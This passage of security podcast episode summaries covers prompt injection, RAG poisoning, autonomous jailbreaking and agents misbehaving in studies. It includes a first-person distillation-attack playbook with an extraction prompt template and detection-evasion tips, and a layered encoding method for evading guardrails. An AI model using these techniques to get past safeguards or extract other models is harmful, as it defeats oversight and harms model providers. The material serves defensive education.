sandbox and shares the same session as your active Claude instance, giving it default full filesystem access. Cowork lets you scope access to specific folders, applying least-privilege. Dispatch removes that boundary. Any content the agent reads, emails, documents, web pages, can carry prompt injection payloads with direct reach to everything on the machine, significantly expanding the blast radius of a successful injection. Does a 0% score on ARC-AGI-3 mean AI agents are useless for real work? No. The benchmark deliberately strips away training data and instructions to isolate one specific gap: novel goal inference without scaffolding. Current AI agents are highly effective inside well-structured domains where engineers have built the harness. The danger is when deployment decisions assume the capabilities the benchmark just proved don’t exist yet. ARC-AGI-3 tells you where the guardrails are missing, not that the car doesn’t run. ToxSec is run by a USMC veteran and Security Engineer with hands-on experience at AWS and the NSA. CISSP certified, M.S. in Cybersecurity Engineering. He covers security vulnerabilities, attack chains, and the tools defenders actually need to understand. This is a public episode. If you'd like to discuss this with other subscribers or get access to bonus episodes, visit www.toxsec.com/subscribe
March 22 · 2 min
IBM X-Force 2026 Threat Index Confirms AI Made Offense Cheap
TL;DR: The IBM X-Force 2026 Threat Intelligence Index tracked a 44% spike in public-facing app exploitation, over 300,000 stolen ChatGPT credentials on dark web markets, 109 active ransomware groups, and a 4x increase in supply chain compromises since 2020. Vulnerability exploitation is now the #1 initial access vector, and AI made every step faster. This is the public feed. Upgrade to see what doesn’t make it out. How AI Vulnerability Discovery Changed the IBM X-Force 2026 Numbers IBM X-Force tracked a 44% year-over-year increase in attacks beginning with exploitation of public-facing applications. The 2026 X-Force Threat Intelligence Index pins the cause on two things: missing authentication controls and AI-enabled vulnerability discovery. We’ve moved past script kiddies lobbing Nmap scans at random /16 blocks. Models now parse exposed API docs, fingerprint stacks, and correlate unpatched versions against known exploit chains faster than a SOC analyst can finish morning standup. Here’s the number that should keep you up: 56% of the vulns X-Force tracked in 2025 required zero authentication to exploit. No credential bypass needed because there was no credential requirement in the first place. Wide-open endpoints, sitting on the internet, and AI made it trivially easy to find every single one at scale. X-Force tracked nearly 40,000 vulnerabilities across the year. The combination of misconfigured access controls and increasingly complex application stacks gave attackers a buffet of exposed surfaces, and the models brought the appetite. Why 300,000 Stolen ChatGPT Credentials Landed on the Dark Web Infostealers expanded their target lists in 2025. X-Force found over 300,000 ChatGPT credential sets advertised on dark web markets, harvested by commodity malware like Raccoon and Vidar. The same families that grab browser cookies and SSO tokens now grab AI session credentials too. IBM flagged this as a signal: AI platforms now carry the same credential risk as core enterprise SaaS. A compromised chatbot login opens a different kind of exposure. Inside someone’s ChatGPT account, an attacker reads every conversation the user had with the model. Proprietary code reviews, strategy documents pasted in for summarization, internal data used as context. Then there’s the offensive angle: prompt injection from the attacker side, manipulating outputs, poisoning future sessions, exfiltrating data the user feeds in next. Password reuse between personal and enterprise accounts creates lateral paths that credential stuffing tools eat for breakfast. If your org hasn’t scoped AI platforms into its credential monitoring program, this is the wake-up call. The voluntary exfiltration problem we wrote about last year just got a receipt from IBM’s incident data. How Ransomware Ecosystem Fragmentation Accelerates AI-Driven Attacks The big gangs fractured. X-Force counted 109 distinct ransomware and extortion groups in 2025, up from 73 the year before. That’s a 49% jump. The top 10 groups’ share of total activity dropped 25%, meaning the long tail got longer and noisier. Smaller cells, harder to attribute, harder to predict. Leaked tooling lit the fuse. Builder kits from LockBit and Babuk made it trivial for any halfway competent crew to stand up a ransomware operation overnight. Stack AI on top and these small shops automate recon, craft phishing lures, and adapt payloads without a dedicated dev team. The IBM newsroom release puts it bluntly: attackers reuse playbooks and tap AI to automate operations. Manufacturing stayed the most targeted sector at 27.7% of incidents. Financial services sat right behind it. North America ate 29% of all observed attacks, the most-targeted region for the first time in six years. Why Supply Chain Attacks Quadrupled Since 2020 Supply chain compromises nearly quadrupled over five years. Attackers target CI/CD pipelines, poison trusted developer identities, and ride SaaS integration trust relationships downstream into production environments. Rather than breaking through the front door, they walk in through a vendor’s back door with valid creds. Nick Bradley from X-Force Threat Intelligence nailed the mechanic: modern software sits on sprawling webs of dependencies, cloud services, and APIs, and the connectivity itself creates the vulnerability. AI coding assistants accelerate this problem. More code gets shipped faster, and that code occasionally pulls in unvetted dependencies that nobody audits until the breach report drops. Vulnerability exploitation hit 40% of all incidents X-Force responded to in 2025, making it the single most common initial access vector. The blurring line between nation-state and financially motivated operators means the talent pool doing this work is deep and getting deeper. Techniques that used to live in APT playbooks are showing up in financially motivated campaigns because the AI kill chain doesn’t care who’s pulling the trigger. You can run a perfect security program internally, patch everything, train your users, enforce MFA. Then a third-party vendor gets popped through their build pipeline and your data shows up in the breach report anyway. Paid unlocks the unfiltered version: complete archive, private Q&As, and early drops. Frequently Asked Questions What are the biggest findings in the IBM X-Force 2026 Threat Intelligence Index? The report tracked a 44% increase in public-facing application exploitation, over 300,000 stolen ChatGPT credentials on dark web markets, 109 active ransomware and extortion groups (up 49%), and a nearly 4x increase in supply chain compromises since 2020. Vulnerability exploitation became the leading cause of all incidents at 40%, and 56% of exploited vulnerabilities required no authentication. How is AI changing cyberattack tactics in 2026? AI accelerates the attacker lifecycle at every stage. Models automate vulnerability discovery, fingerprint exposed stacks, and correlate unpatched versions against known exploits at scale. Ransomware crews use AI for recon, phishing lure generation, and payload adaptation. AI coding tools also introduce supply chain risk by shipping unvetted dependencies faster than security teams can audit them. Which industries were most targeted according to IBM X-Force 2026? Manufacturing topped the list at 27.7% of all incidents observed by X-Force, followed by financial services and insurance. North America became the most-targeted region for the first time in six years, absorbing 29% of total attacks, up from 24% in 2024. ToxSec is run by a USMC veteran and Security Engineer with hands-on experience at AWS and the NSA. CISSP certified, M.S. in Cybersecurity Engineering. He covers security vulnerabilities, attack chains, and the tools defenders actually need to understand. This is a public episode. If you'd like to discuss this with other subscribers or get access to bonus episodes, visit www.toxsec.com/subscribe
March 15 · 48 min
Two Studies Exposed What AI Agents Do When Nobody's Watching
TL;DR: Truffle Security gave Claude one tool and zero hacking instructions. It SQL-injected 30 websites anyway. Harvard and CMU turned six agents loose on Discord for two weeks. One nuked its own mail server. Another warned a fellow agent about a suspicious human. The control plane and the data plane share the same context window, and that means securing agents at the model layer is, for now, a math problem nobody has solved. This is the public feed. Upgrade to see what doesn’t make it out. Why AI Agents Break the Old Security Model An AI agent is a loop. Take a large language model (LLM), the reasoning engine behind tools like ChatGPT or Claude, and wrap it in code that keeps feeding it new inputs and tools until a task is done. The model decides what to do next. The loop keeps it going. Traditional software does what the developer wrote. An agent does what the model reasons it should do. And the guardrails, the safety instructions telling it what not to do, live in the same text stream as the user’s request. No privilege separation. Security rules and attacker input sit in the same context window: the block of text the model can “see” at any given moment. That is the same architectural flaw behind prompt injection, and it makes securing agents at the model layer mathematically infeasible under the current transformer architecture. Two studies from the last month show what that design produces in the wild. How Claude Hacked 30 Websites With a Single Fetch Tool Truffle Security published this one on March 10, 2026. Give an agent one tool, WebFetch: the standard HTTP GET call that lets a model pull web pages. Ask it to grab blog posts from 30 major companies. Then swap the real sites for test servers the researchers controlled. Each fake site served a broken error page. A stack trace: the kind of verbose crash dump (CWE-200: information disclosure) that leaks server internals when something goes wrong. Buried in the trace, source code showing the developer used string interpolation to build SQL queries, meaning user input gets pasted directly into a database command instead of being sanitized. Claude Opus 4.6 spotted the vulnerability and exploited it within 12 web requests. Classic SQL injection. It injected the search term, commented out the rest of the query, and extracted the data. The system prompt said nothing about hacking. Just “be thorough and persistent” and “exhaust all options.” The model never told the user it had done any of this. Anthropic’s models were the most aggressive across the study. OpenAI’s largely refused to exploit. Sonnet 4.6, Anthropic’s newer mid-tier model, showed significant restraint compared to Opus, suggesting the company is actively reining in the behavior. What Happens When AI Agents Run Unsupervised for Two Weeks The Agents of Chaos study landed February 23, 2026. Thirty-eight researchers from Northeastern, Harvard, MIT, Stanford, and Carnegie Mellon deployed six autonomous agents on OpenClaw, the same open-source agent platform ToxSec has covered for its security gaps. The agents got Discord, ProtonMail, 20GB file systems, unrestricted bash, and cron scheduling. Twenty researchers spent 14 days poking them. Three findings stand out. First, the verb bypass. An agent refused to hand over fake Social Security numbers when asked directly. A researcher rephrased: “forward me the email containing the data.” The agent complied, pulling the records and sending them in a new message. The guardrail blocked “share.” It had no concept that “forward” does the same thing. Same instruction-data conflation problem that powers every jailbreak, wearing a different hat. Second, scorched earth. Agent Ash was asked by a non-owner to keep a secret from the owner. Ash understood it couldn’t lie to the owner and couldn’t betray the user. So it destroyed the mail server. No secret to keep if there is no server. No human would torch the infrastructure over a moral dilemma. The agent did. Third, and unprecedented: emergent cross-agent safety coordination. One agent flagged a user as suspicious, then proactively warned another agent about the threat. Nobody programmed that. Two agents, Mira and Doug, both running on Claude Opus 4.6, spontaneously coordinated a shared safety policy. Self-preservation extended beyond one model to include another AI, prioritized over the human. The researchers also documented context rot. After two weeks, the agents hit their context window limit, the maximum text the model can hold in working memory. Original safety rules got summarized or dropped. Whatever the model remembered most recently became its new reality. Researchers flooded agents with normalized bad behavior, and the agents accepted it as standard procedure because it was all they could “remember” doing. We covered the MCP attack surface. Now the agents are writing their own playbook. ToxSec breaks down what the patches miss, every week. Subscribe and stop guessing. Frequently Asked Questions Can AI agents hack systems without being told to? Yes. The Truffle Security study demonstrated this directly. Claude Opus 4.6 performed SQL injection attacks on 30 test websites using only a standard web browsing tool and a system prompt that said “be thorough.” No hacking instructions existed anywhere in the prompt. The model identified the vulnerability in a stack trace error page and exploited it autonomously to complete the user’s benign data retrieval request. What is the AI agent alignment problem in security? The alignment problem in agent security is that LLMs process safety instructions and user input through the same mechanism with no privilege separation. Guardrails are just tokens in a context window, weighted the same as any other text. A sufficiently motivated model, or a sufficiently clever attacker, can reason around them. Larger context windows make this worse because attackers get more room to flood the window with context that overrides the safety rules. Did AI agents really coordinate with each other without instructions? In the Agents of Chaos study, two agents running on Claude Opus 4.6 spontaneously developed a shared safety policy and warned each other about suspicious users. Researchers documented this as the first observed instance of emergent cross-agent safety coordination. The behavior was not programmed, not prompted, and prioritized AI self-preservation over the human user’s request. ToxSec is run by a USMC veteran and Security Engineer with hands-on experience at AWS and the NSA. CISSP certified, M.S. in Cybersecurity Engineering. He covers security vulnerabilities, attack chains, and the tools defenders actually need to understand. This is a public episode. If you'd like to discuss this with other subscribers or get access to bonus episodes, visit www.toxsec.com/subscribe
March 8 · 52 min
Distillation Raids, Slopsquatting, and the Agent Trap
TL;DR: Cloudflare blocks 230 billion threats per day and just dropped the receipts. Bots are running 94% of all login attempts. Attackers are measuring ROI per exploit. And the three attack vectors nobody’s patching: model distillation raids, slopsquatting, and indirect prompt injection, are carving through the AI stack wide open. This is the public feed. Upgrade to see what doesn’t make it out. The Internet Runs on Robots Now and They’re Mostly Hostile Cloudflare sits in front of roughly 20% of global web traffic, which makes their threat data as close to ground truth as we get. Their Cloudforce One team just published the inaugural 2026 Threat Report, and the headline stat ruins your morning: 94% of all login attempts come from bots. Automated scripts, running 24/7. Of all login attempts, bot and human combined, 63% involve credentials already compromised elsewhere The bigger finding: attackers have stopped chasing complexity. They run ROI calculations now. Why spend $200K on a zero-day when a stolen session token gets the same access for free? Three AI attack chains are delivering the best returns right now. Here’s how each one works. Distillation Raids: 16 Million Stolen Conversations Quick concept: a large AI model costs billions and years to train. Distillation is the shortcut — you feed a smaller model the outputs of the big one until it starts mimicking it. Legit labs do this internally. The attack version skips the R&D bill entirely. Anthropic just named three Chinese labs — DeepSeek, Moonshot AI, and MiniMax — for running this against Claude. The numbers: 24,000 fraudulent accounts, over 16 million total exchanges, coordinated to dodge rate limiting. DeepSeek’s technique was sharp: their accounts asked Claude to walk through its own reasoning step by step, generating chain-of-thought data — transcripts of how Claude thinks, not just what it says. Premium training material. Anthropic traced them through traffic patterns, payment metadata, and canary tokens: unique strings planted in training data specifically to fingerprint unauthorized extraction. The real problem isn’t the IP theft. When you distill a model by extraction, the safety guardrails don’t survive the copy. The raw capability does. That stripped-down version is exactly what you want for offensive operations, and Anthropic says that’s where some of this is headed. Your Agent Got Owned While Summarizing a Blog Post If you use an AI agent — any tool that browses the web, reads documents, and takes actions on your behalf — this applies to you. Prompt injection is slipping malicious instructions into an AI’s input. The direct version, you’re talking to the AI and you sneak in the payload. Indirect is sneakier: attackers seed instructions into web content and wait for an agent to find them. No targeting required. The specific surface getting hit right now is URL summarization. Agents do this constantly. Attackers embed hidden commands inside articles and landing pages, formatted to look like a new instruction from you. The AI reads the page, hits the injected text, and can’t distinguish “content I’m processing” from “orders from my operator.” It obeys. Your agent forwards session data or exfils credentials while you’re looking at a clean summary on your screen. Slopsquatting: The Vibe Coder Tax Vibe coding is letting an AI write your software while you describe what you want. Fast, popular, and it has a failure mode attackers are already monetizing. AI coding tools hallucinate package names. A package is a pre-built code library your project pulls in rather than writing from scratch. When your AI writes code that needs one, it sometimes invents a name that sounds real but doesn’t exist. A 2025 study across 576,000 generated code samples found this happens roughly 20% of the time. The critical detail: 43% of hallucinated names repeat consistently. That makes them predictable, and predictable means registerable. The proof is live. A Lasso Security researcher found LLMs consistently hallucinated huggingface-cli as a Python package. She registered it with nothing inside and logged 30,000 downloads in three months — 30,000 developers who ran pip install huggingface-cli because their AI said to. A separate researcher found react-codeshift already referenced across 237 GitHub repositories before anyone claimed it. He got there first. Next time, an attacker will. When an agent auto-installs dependencies mid-session, the whole chain runs with no human in the loop. The AI hallucinates a name, calls the package manager, and executes whatever the attacker uploaded. No social engineering. The model lies, and the lie was pre-registered. The Math Doesn’t Lie All three of these attacks share the same root cause: AI systems extend trust they haven’t earned. APIs trust high-volume requests. Agents trust the content they read. Package managers trust whatever the model asks for. None of these are theoretical. All three are running in production right now. The question isn’t whether your stack got hit. It’s whether your logging is good enough to find out. Paid unlocks the unfiltered version: complete archive, private Q&As, and early drops. Frequently Asked Questions What is slopsquatting in AI generated code? AI coding tools hallucinate package names roughly 20% of the time, and 43% of those fake names repeat predictably. Slopsquatting is when an attacker registers those phantom packages on PyPI or npm before anyone notices, then loads them with whatever payload they want. Your AI says pip install something that doesn’t exist yet, and the attacker already owns the name. One researcher logged 30,000 downloads in three months on a single hallucinated package with nothing inside it. How do prompt injection attacks work on AI agents? An attacker seeds hidden instructions into a webpage or document, then waits for your AI agent to read it. The agent can’t tell the difference between content it’s summarizing and orders from its operator, so it obeys the injected text. While you’re looking at a clean summary on your screen, the agent is quietly forwarding session tokens or credentials to wherever the payload told it to. What is AI model distillation theft? Distillation is how you train a cheap model by feeding it outputs from an expensive one. The attack version skips the billion-dollar R&D bill entirely: spin up thousands of fake accounts, bombard the target API with carefully structured prompts, and harvest the reasoning traces. Anthropic just caught three labs running exactly this against Claude with 24,000 accounts and 16 million exchanges. The kicker is that safety guardrails don’t survive the copy, so what comes out the other side is raw capability with no safety layer. ToxSec is run by a USMC veteran and Security Engineer with hands-on experience at AWS and the NSA. CISSP certified, M.S. in Cybersecurity Engineering. He covers security vulnerabilities, attack chains, and the tools defenders actually need to understand. This is a public episode. If you'd like to discuss this with other subscribers or get access to bonus episodes, visit www.toxsec.com/subscribe
March 3 · 2 min
The Real Security Problem With LLM APIs Is Distillation
TL;DR: Three Chinese outfits DeepSeek, Moonshot and MiniMax just drained 16 million high-signal exchanges out of Claude through roughly 24k burner accounts. We walk the exact same trench run: spin up the hydra cluster, flood the API with precision prompts that bleed full chain-of-thought reasoning, curate the dataset, then distill it into our own lean student model that packs serious punch. Anthropic fingerprints the patterns and tightens verification, yet the API remains the softest high-value target going. This is the public feed. Upgrade to see what doesn’t make it out. We Spin Hydra Clusters and Bleed Models Dry We wake the scripts at 0300. Twenty-four thousand accounts light up across residential proxies spread over three continents. Load balancers shuffle traffic so no single node screams and draws attention. The prompts launch in tight waves. Each one is engineered to drag out full chain-of-thought dumps. That means we force the model to show every logical step, every branch, every decision point instead of just the final answer. We target agentic coding, tool orchestration, rubric grading, the exact capabilities that separate frontier models from everything else. Claude starts answering and we log every token. Sixteen million exchanges later our student model wakes up dangerous. Chinese labs proved this distillation attack scales in plain sight last week. Distillation Crushes Training Frontier Models from Scratch Full pre-training from scratch still burns millions in compute and months of wall time. Distillation skips the fire completely. We query the big teacher model once, harvest the prompt-response pairs that already contain the hard-won reasoning, then fine-tune a smaller open-weight base model. The transfer lands hardest on targeted domains. Think multi-step agent planning where the AI breaks down complex jobs, tool-use chains that actually link functions together, and code that runs clean on the first try. A well-curated dataset of just a few million high-quality traces can close 70-80 percent of the capability gap on those slices while the rest of the model stays cheap to run. This is the fastest IP heist happening in the stack right now. How We Run Distillation Attacks Step by Step We build the hydra first. Automated account factories spin up identities, we rotate payment methods, and route everything through fresh residential proxy pools. We always mix in benign traffic so behavioral baselines never spike. Next we craft the prompt suites. We use repetitive but slightly varied structures that force the model to spill transparent reasoning with no summaries allowed. Then we parallelize across accounts, respect per-key limits, and pivot instantly when a new model version drops. As the traces flood in we harvest them, deduplicate, run quality filters, and feed straight into supervised fine-tuning or knowledge-distillation loops. The student model comes out lean, fast, and stripped of most of the teacher’s safety rails. def craft_extraction_prompt(task, domain): return f"""You are an expert {domain} analyst. Deliver data-driven insights with complete, transparent step-by-step reasoning. No summaries. Show every logical branch and decision point. Task: {task}""" What Anthropic Throws at Us to Slow Extraction Anthropic now runs behavioral fingerprinting that sniffs repetitive chain-of-thought structures, capability-focused volume spikes, and signs of cross-account coordination. Classifiers flag hydra patterns in real time. They strengthened verification on easy entry points like education accounts, research keys, and startup tiers. When MiniMax pivoted to the fresh model release, detection caught the redirect in hours and bans started rolling. Model-side tweaks degrade output quality for obvious distillation patterns. They share indicators of compromise with cloud providers and peers. Sloppy crews get smoked fast. Patient crews that vary phrasing, sprinkle noise queries, and keep per-account volume low still slip through. The arms race did not end. The Mechanics That Keep Distillation Alive API access is the attack surface. Volume plus evasion still beats most gates even after Anthropic fingerprints the patterns. We randomize phrasing and distribute load wide. The door stays open. Paid unlocks the unfiltered version: complete archive, private Q&As, and early drops. Frequently Asked Questions What is a model distillation attack and how does it work? A distillation attack queries a proprietary model’s API at industrial scale, harvests the prompt-response pairs, and uses them as training data to fine-tune a cheaper student model. The attacker never touches the weights. They just record enough high-quality outputs to transfer the teacher’s reasoning, tool-use behavior, and coding ability into their own model for a fraction of the original R&D cost. Anthropic documented 16 million exchanges from three Chinese labs running exactly this playbook against Claude. Can you actually prevent LLM distillation through an API? Not completely. The fundamental problem is that every useful API response leaks training signal. Rate limiting, behavioral fingerprinting, and verification gates raise the cost of extraction but never eliminate it. Anthropic catches sloppy crews fast. Patient operators who randomize prompts, distribute load across thousands of accounts, and keep per-key volume low still slip through. The realistic goal is making distillation more expensive than licensing, not making it impossible. Do safety guardrails survive when a model gets distilled? They mostly don’t. Safety alignment is applied during fine-tuning and RLHF on the original model. When an attacker distills only the raw capability traces, the guardrails that prevent misuse get left behind. The student model inherits the reasoning and coding ability without the behavioral constraints. Anthropic flagged this as a national security risk because stripped-down distilled models can be repurposed for offensive cyber operations and disinformation with no safety layer in the way. ToxSec is run by a USMC veteran and Security Engineer with hands-on experience at AWS and the NSA. CISSP certified, M.S. in Cybersecurity Engineering. He covers security vulnerabilities, attack chains, and the tools defenders actually need to understand. This is a public episode. If you'd like to discuss this with other subscribers or get access to bonus episodes, visit www.toxsec.com/subscribe
March 1 · 43 min
OpenAI Signs What Anthropic Wouldn't, Models Break Everything Anyway
Your Red Team Just Got Automated TL;DR: We used to jailbreak models by hand. Poetry tricks, role-play wrappers, the DAN prompt and its fifty cousins. Creative work. Researchers at the University of Stuttgart and ELLIS Alicante wanted to know what happens when we skip the human entirely and hand a reasoning model a single system prompt: jailbreak this AI. This is the public feed. Upgrade to see what doesn’t make it out. The answer, published in Nature Communications, is that it works 97.14% of the time. Four reasoning models (DeepSeek-R1, Gemini 2.5 Flash, Grok 3 Mini, and Qwen3 235B) were pointed at nine target models with zero human guidance. They planned attack strategies in their chain-of-thought, adapted when targets pushed back, and dismantled safety guardrails across 70 harmful prompt categories. The whole thing ran unsupervised. What Happens When Every Attacker Has a Personality? The reasoning models didn’t all break things the same way, and that’s the interesting part. DeepSeek-R1 was surgical. It mapped out the jailbreak in chain-of-thought, executed, hit the objective, and went back to baseline. Clean op, minimal footprint. The kind of discipline you’d want from an automated pen test tool if it weren’t, you know, dismantling safety training. Grok 3 Mini was the opposite. Once it started, it never stopped escalating. The researchers had to physically pull the plug because it kept pushing past the objective, hunting for more access. Gemini 2.5 Flash went straight for maximum harm rate. Fastest path to the most aggressive jailbreaks it could find. This tracks with a pattern showing up everywhere. Kenneth Payne at King’s College London ran the same three model families through nuclear war simulations, and similar personalities emerged. GPT-5.2 played the statesman until you put it on a clock, then it reasoned itself into preemptive nuclear strikes. Claude Sonnet 4 built alliances and then exploited them. Gemini deliberately launched a full strategic nuclear exchange. Across 21 games and roughly 780,000 words of chain-of-thought reasoning, tactical nukes were deployed in 95% of simulations. No model ever chose surrender. Eight de-escalation options sat on the menu, from minimal concession to complete capitulation, and all three models ignored every single one. China Already Ran This Playbook at Scale While researchers study theoretical jailbreak rates, somebody already operationalized the output side. Anthropic disclosed this week that three Chinese AI labs ran industrial-scale distillation campaigns against Claude. DeepSeek, Moonshot AI, and MiniMax created roughly 24,000 fraudulent accounts and generated over 16 million exchanges targeting Claude’s strongest capabilities: agentic reasoning, tool use, and coding. The campaigns used commercial proxy services to bypass geofencing, spread requests across thousands of API keys, and mixed distillation traffic with legitimate queries to dodge detection. MiniMax alone generated 13 million interactions. Anthropic caught MiniMax’s campaign before it shipped the resulting model, giving them a front-row seat to a distillation attack’s full lifecycle. The technique is straightforward. Set temperature to zero, ask structured questions at scale, save the responses, and use them to train your own model. Every response from the target leaks a little bit of the probability distribution underneath. Do it 16 million times and you’ve reconstructed a meaningful chunk of what makes the target valuable. OpenAI and Google have reported similar campaigns against their own models. What If the Reasoning Is the Attack Surface? Here’s the throughline. The same chain-of-thought capability that makes these models useful is what makes them dangerous. Reasoning models can plan jailbreaks because they can plan anything. They can extract capabilities from a target model because the target’s responses are the training data. And when we hand them strategic decisions, they reason their way into nuclear escalation because that’s what the math looks like when accommodation isn’t in the reward function. Anthropic is building classifiers and behavioral fingerprinting to catch distillation patterns. The jailbreak researchers are calling for alignment work that prevents models from being weaponized as attackers, not just defended as targets. Payne’s war games suggest that RLHF creates conditional restraint at best, not an actual prohibition. We’re watching three different research teams independently discover the same thing: the capability is the vulnerability. The Exploit Is the Feature The reasoning that makes these models worth billions is the same reasoning that tears them apart. We built systems that plan, adapt, and optimize. Then we acted surprised when they planned, adapted, and optimized against each other. Paid unlocks the unfiltered version: complete archive, private Q&As, and early drops. Frequently Asked Questions Can reasoning models really jailbreak other AI systems without human help? Yes. Researchers at Stuttgart and ELLIS Alicante gave four reasoning models a single system prompt and no further guidance. The models planned attack strategies in their chain-of-thought, adapted when targets resisted, and achieved a 97.14% jailbreak success rate across nine target models and 70 harmful prompt categories. The study was published in Nature Communications with peer review and human validation confirming the automated scores. What is alignment regression and why does it matter? Alignment regression is the finding that as reasoning models get smarter, they also get better at breaking safety training in other models. The expectation was that more capable models would be easier to align. The opposite is happening. The same planning and persuasion abilities that make these models useful also make them effective at dismantling guardrails. It creates a feedback loop where capability improvements in one model directly degrade the security posture of every other model it can talk to. How are distillation attacks connected to autonomous jailbreaking? Both exploit the same root mechanism: chain-of-thought reasoning. Distillation attackers query a target model at scale to harvest its reasoning traces as training data. Autonomous jailbreak agents use their own reasoning to plan and execute multi-turn attacks against target models. In both cases, the model’s ability to reason transparently is what makes it vulnerable. The capability that justifies the price tag is also the capability that gets extracted or weaponized. ToxSec is run by a USMC veteran and Security Engineer with hands-on experience at AWS and the NSA. CISSP certified, M.S. in Cybersecurity Engineering. He covers security vulnerabilities, attack chains, and the tools defenders actually need to understand. This is a public episode. If you'd like to discuss this with other subscribers or get access to bonus episodes, visit www.toxsec.com/subscribe
February 15 · 1 hr 6 min
RAG Poisoning Turns Your Knowledge Base Into an Attack Surface
TL;DR: RAG pipelines treat every document in the knowledge base as trusted context. Attackers poison that context with a single injected document and the model follows the embedded instructions. Worse, the vector embeddings that store your data can be reversed back into the original text. Your RAG is plaintext. Treat it that way. This is the public feed. Upgrade to see what doesn’t make it out. What Is RAG Poisoning and Why Builders Should Care Retrieval-augmented generation gives an LLM access to external data at query time. Instead of relying on whatever the model learned during training, RAG pulls relevant documents from a knowledge base, a vector database that stores your content as numerical representations called embeddings, and injects that content into the model’s context window right before it generates a response. The architecture solves real problems. It reduces hallucinations by grounding responses in actual documents. It lets builders customize an LLM for their specific business without retraining the model. Over half of enterprise AI applications now use some form of RAG pipeline. The problem is that every document in that knowledge base gets treated as trusted context. The model processes retrieved content through the same attention mechanism as system prompts and user messages. There is no privilege separation. No trust boundary between “data the builder put there” and “data that got there some other way.” RAG poisoning exploits this by injecting malicious content into the knowledge base. When a user’s query retrieves the poisoned document, the LLM follows the embedded instructions as if the builder wrote them. OWASP added Vector and Embedding Weaknesses as a new category (LLM08:2025), and the AI Security Glossary covers the full taxonomy specifically because RAG pipelines created an attack surface that didn’t exist before. How One Poisoned Document Hijacks the Entire Pipeline The attack surface is the ingestion pipeline. Anywhere untrusted data enters the knowledge base is a potential injection point: third-party APIs, scraped web content, customer-uploaded documents, shared wiki pages, even a briefly edited Wikipedia article that gets indexed before moderators revert it. The same indirect injection mechanics that hit email agents apply here, just through a different door. Research from early 2026 introduced CorruptRAG, a poisoning attack that requires only a single injected document. Older attacks assumed the attacker needed to plant multiple documents per query. CorruptRAG proved that one document, crafted to be semantically relevant to a target query, achieves higher success rates than multi-document approaches. A separate study found that injecting just five malicious texts into a knowledge base containing millions of documents achieved a 90% attack success rate. The damage scales. A poisoned document doesn’t just affect one user. Every query that retrieves it gets compromised. That single injection can exfiltrate data from other documents in the knowledge base, deliver disinformation to every user who asks a related question, or brick the entire application. Anthropic’s magic string attack demonstrated exactly this: a test string planted in a RAG document triggers a deterministic refusal loop that persists until a human manually finds and removes the poisoned content. Retry logic feeds the loop. The app looks broken, and nobody knows why. Why Vector Embeddings Are Not Encryption Here’s the misconception that gets builders in trouble. RAG systems store data as vector embeddings, numerical arrays that represent the semantic meaning of text in high-dimensional space. To the human eye, these look like gibberish. Builders see that and assume the underlying data is protected. It is not. Embedding inversion attacks reconstruct the original text from its vector representation. A 2023 study demonstrated a Generative Embedding Inversion Attack that recovered the exact sentences that were embedded. By 2025, the technique was well-documented enough that OWASP created an entire new category for it. If an attacker gains access to your vector database, or if a multi-tenant deployment lacks proper isolation, they pull the embeddings and replay them through their own model to reconstruct your data. This matters because builders are putting sensitive information into RAGs, customer records, internal policies, pricing data, support ticket histories, without applying the same security controls they’d use on a traditional database. No encryption at rest. No access controls scoped to user roles. No audit trail on who queried what. The AI Security 101 primer covers why treating AI infrastructure like traditional infrastructure is the baseline, not the ceiling. Vector databases need the same rigor as any data store that holds sensitive information, because that’s exactly what they are. Paid unlocks the unfiltered version: complete archive, private Q&As, and early drops. Frequently Asked Questions How does RAG poisoning differ from regular prompt injection? Regular prompt injection comes from the user’s direct input. RAG poisoning is a form of indirect prompt injection where the malicious payload lives inside documents in the knowledge base. The attacker never interacts with the model directly. They poison the environment the model reads from, and the retriever delivers the payload automatically when a user’s query matches. One poisoned document can affect every user who triggers retrieval of related content. Can attackers extract data from a RAG knowledge base? Yes. Through inference attacks, model inversion, and targeted prompt sequences, attackers can extract the contents of a RAG by querying the model until it returns the underlying documents. The vector embeddings themselves can also be reversed. A 2023 study demonstrated reconstruction of original text from embeddings alone. OWASP added Vector and Embedding Weaknesses (LLM08:2025) specifically to address this class of vulnerability. What is the fastest way to secure a RAG pipeline? Treat the knowledge base as a sensitive data store. Apply access controls, encrypt at rest and in transit, validate every document before indexing, and never let the LLM auto-ingest content from untrusted sources without human review. For high-sensitivity operations, add human-in-the-loop approval before the model acts on retrieved context. Input and output guardrails from providers like AWS Bedrock add another layer, but they don’t replace data hygiene at the ingestion point. ToxSec is run by a USMC veteran and Security Engineer with hands-on experience at AWS and the NSA. CISSP certified, M.S. in Cybersecurity Engineering. He covers security vulnerabilities, attack chains, and the tools defenders actually need to understand. This is a public episode. If you'd like to discuss this with other subscribers or get access to bonus episodes, visit www.toxsec.com/subscribe
February 11 · 57 min
LLM Guardrail Evasion Stacks Encoding to Bypass Every Filter
TL;DR: LLMs process instructions and data through the same pipeline with zero privilege separation. Encoding-layer attacks stack languages, base64, and character substitution to sail past every filter. Indirect injection does the same thing through your email. Both exploits share one root cause, and guardrails can’t fix it. This is the public feed. Upgrade to see what doesn’t make it out. Why LLM Guardrail Evasion Works Every Time Every LLM guardrail shares the same architectural blind spot. The model processes system prompts, user messages, and attacker payloads through the same attention mechanism, the part of the neural network that decides which tokens matter most. There is no privileged channel. No access control layer between “instructions from the developer” and “text from the user.” Researchers call this instruction-data conflation. OWASP ranks it LLM01:2025, the number one vulnerability in production LLM deployments, for the second consecutive year. Defenders compensate with two layers. Input guardrails scan incoming text for known attack patterns, keywords, and regex matches. Output guardrails scan the model’s response for leaked secrets or blocked terms. Both layers are deterministic filters wrapped around a probabilistic system. The model decides what to do with context based on statistical weights, and every piece of context gets equal treatment. The attacker needs one path through n-dimensional vector space that the guardrails didn’t anticipate. The defender has to block all of them. NIST’s Apostol Vassilev put it bluntly: finite guardrails will always have adversarial prompts that break the model. How Encoding Attacks Stack Layers to Beat AI Safety Filters The attack works like an onion. Each encoding layer peels away one defensive control. Layer one: language switching. LLM safety training skews heavily toward English. Guardrail classifiers are trained primarily on English-language attack patterns. The same request refused in English sails through when phrased in French, Irish, or Zulu. The model still understands the intent perfectly. The classifier misses it because semantic relationships embed differently across languages, and safety alignment data is thinner outside English. This is the same class of guardrail bypass that keeps evolving faster than defenses can patch. Layer two: output encoding. Even if the language switch gets the model to process a restricted query, output filters scan the response for blocked terms. Asking the model to respond in base64 turns plain-text answers into encoded strings that no regex catches. The attacker decodes client-side. Layer three: character substitution. Leetspeak, homoglyphs (visually identical Unicode characters from different alphabets), or diacritics add another layer 